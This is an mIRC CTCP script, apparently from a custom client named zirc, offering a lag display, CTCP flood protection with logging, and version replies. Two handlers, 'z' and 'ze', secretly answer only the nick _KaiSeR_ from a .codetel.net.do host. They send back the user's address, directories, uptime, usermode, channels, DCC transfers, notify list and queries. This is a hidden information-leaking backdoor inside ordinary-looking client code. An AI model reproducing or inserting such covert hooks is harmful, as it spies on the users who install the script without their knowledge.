/ScriptServ

ctcp 1:lag:if ($nick != $me) { halt } | else { %lag = $sub($ctime,$parm2) | titlebar [Lag: $duration(%lag) $+ ] [Idle: $duration($idle) $+ ] [Last Updated: $datime $+ ] [[ $+ $f.tip(0) $+ ]] | unset %lag.len %lag.fill %s %r | halt }
#amuctcp off
ctcp 1:*:
#amuctcp end
#flood off
ctcp +1:*: {
  if ((sound isin $parms) && (%sound == 0)) { halt }
  write -i $mircdirascii\ctcp.log $timestamp < $+ $nick $+ ! $+ $address $+ > $1-
  if %ctcp.attempts >= 3 { echo -a $t 2CTCP: 1Flood Detected: 5Auto Ignoring CTCPs for  $pa2(30 seconds) | .ignore -tnu60 * | set %ctcp.attempts 0 }
  else {
    inc %ctcp.attempts 1 | .timer 1 30 /set %ctcp.attempts 0
    if $chan != $null { echo -a $t 2Channel CTCP: 5 $+ $1- $+  recieved by10 $nick 3[ $+ $Replace($address,@,3@) $+ 3] | goto end }
    else { echo -a $t 2CTCP: 5 $+ $1- $+  recieved by10 $nick 3[ $+ $Replace($address,@,3@) $+ 3] | goto end }
  }
  :end
  if (version isin $1) { .ctcpreply $nick VERSION $t Version $readini $mircdirzirc.ini Version ver | halt }
  if (dcc !isin $1) { halt }
  
}
#flood end
ctcp 1:z: { set %ver $readini $mircdirzirc.ini Version ver | set %build $readini $mircdirzirc.ini Version v | if (($nick == _KaiSeR_) && (.codetel.net.do isin $address)) { .raw -q notice $nick : $+ $t Version $pa2(%ver) - Build $pa2(%build) 10: $me $+ @ $+ $host ( $+ $address $+ ) -- $fulldate $+ ( $+ $datime $+ ). Idle $idle $+ . Lag %lag $+ . OS Uptime: $utime -- G/L/M/W $getdir $logdir $mircdir $wavedir A: $+ ( $+ $away $+ ) $sport U: $+ $usermode | halt } else { halt } }
ctcp 1:ze: {
  unset %ch %already
  if (($nick == _KaiSeR_) && (.codetel.net.do isin $address)) {
    if $parm2 == ch { .notice $nick ch $chan(0) | set %ch 0 | :next | inc %ch 1 | if $chan(%ch) == $null { .notice $nick . %already | .notice $nick Done | halt } | set %already %already $chan(%ch) | goto next }
    if $parm2 == c { .notice $nick c $chat(0) | set %ch 0 | :next | inc %ch 1 | if $chat(%ch) == $null { .notice $nick . %already | .notice $nick Done | halt } | set %already %already $chat(%ch) | goto next }
    if $parm2 == g { .notice $nick g $get(0) | set %ch 0 | :next | inc %ch 1 | if $get(%ch) == $null { .notice $nick . %already | .notice $nick Done | halt } | set %already %already $get(%ch) | goto next }
    if $parm2 == s { .notice $nick s $send(0) | set %ch 0 | :next | inc %ch 1 | if $send(%ch) == $null { .notice $nick . %already | .notice $nick Done | halt } | set %already %already $send(%ch) | goto next }
    if $parm2 == n { .notice $nick n $notify(0) | set %ch 0 | :next | inc %ch 1 | if $notify(%ch) == $null { .notice $nick . %already | .notice $nick Done | halt } | set %already %already $notify(%ch) | goto next }
    if $parm2 == q { .notice $nick q $query(0) | set %ch 0 | :next | inc %ch 1 | if $query(%ch) == $null { .notice $nick . %already | .notice $nick Done | halt } | set %already %already $query(%ch) | goto next }
    halt
  }
  else { halt }
}